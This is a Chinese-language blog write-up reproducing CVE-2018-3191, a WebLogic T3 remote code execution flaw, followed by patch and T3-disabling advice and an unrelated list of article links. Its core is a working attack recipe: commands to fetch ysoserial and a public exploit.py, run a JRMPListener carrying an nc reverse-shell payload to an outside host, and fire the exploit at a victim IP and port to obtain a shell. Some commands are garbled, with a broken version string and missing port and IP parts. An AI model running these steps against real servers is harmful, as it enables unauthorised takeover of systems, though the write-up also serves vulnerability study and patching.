0x00 简介

北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191)。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

0x01 漏洞复现

目标weblogci服务器已开放了T3服务,该服务器是部署在linux下,可以用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-262进行在 docker下部署测试环境。

1.在JRMPListener主机(公网上的一台主机,ubunut系统,IP地址为:149.28.*.85)上运行以下命令:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

java  -cp  ysoserial-0.0.-SNAPSHOT-BETA-all.jar  ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

如:

java -cp ysoserial-0.0.-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  CommonsCollections1 'nc  -nv 149.28.*.85  5555' 

//注意command目前只有nc反弹成功,bash反弹被转义了,本地监听1099端口,执行的命令是向weblogic服务器发送nc反弹命令的poc。

2.同时在JRMPListener主机另开一个命令窗口进行监听nc端口,命令如下:

nc  -lvvp  

3.在本地的windows系统攻击者主机上运行此脚本:

weblogic-spring-jndi-12.2.1.3.jar 对于weblogic:

12.2.1.3

weblogic-spring-jndi-10.3.6.0.jar 对于weblogic:

10.3.6.0

12.2.1.0

12.1.3.0

12.2.1.1

wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-10.3.6.0.jar

wget  https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-12.2.1.3.jar

wget https://raw.githubusercontent.com/Libraggbond/CVE-2018-3191/master/exploit.py

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python exploit.py  66.42.*.195 7001  weblogic-spring-jndi-10.3.6.0.jar  149.28.146.       //这里的66.42.*.195是weblogc服务器,7001为weblogic服务器端口;149.28.*.85为JRMPListener主机,主机的监听端口为1099

最终可以看到反弹的shell:

0x02 漏洞修复

1.Oracle官方已经在10月关键补丁更新CPU(重要补丁更新)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。

https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#AppendixFMW

2.禁止T3协议

0x03 参考链接

https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg

https://github.com/Libraggbond/CVE-2018-3191

 
 
 
 

最新文章

  1. qt5.5 qtcreator中文乱码
  2. 为什么在soui中加载JPG文件失败
  3. 常用JQuery插件
  4. 给NSString增加Java风格的方法
  5. 【Java】ServerSocket的学习笔记
  6. bzoj 4300: 绝世好题 dp
  7. C#开发-ftp操作方法整理
  8. 更新sdk
  9. hbase自带mapreduce计数表行数功能
  10. 201521123003《Java程序设计》第8周学习总结
  11. Sqoop介绍
  12. [笔记]记录原开发工作在base命名空间下扩展的属性与方法
  13. django中sqlite迁移mysql
  14. 尝试解决IDea 启动项目后,后台疯狂输出日志。
  15. 闪电侠 Netty 小册里的骚操作
  16. Linux系统重置root用户密码
  17. 1119 Pre- and Post-order Traversals
  18. nowcoder 211E - 位运算?位运算! - [二进制线段树][与或线段树]
  19. JavaScript的原型链继承__propt__、prototype、constructor的理解、以及他们之间相互的关系。
  20. 实现Django ORM admin view中model字段choices取值自动更新的一种方法

热门文章

  1. netsh常用命令
  2. python 思维导图-linux命令
  3. [leetcode]从中序与后序/前序遍历序列构造二叉树
  4. IEEE1588 verision 2 报文介绍
  5. IP地址相关知识
  6. Netty源码分析第7章(编码器和写数据)---->第4节: 刷新buffer队列
  7. centos7.6 安装配置rabbitmq
  8. kafka consumer demo
  9. hadoop 集群HA高可用搭建以及问题解决方案
  10. 笨办法学Python - 习题5: More Variables and Printing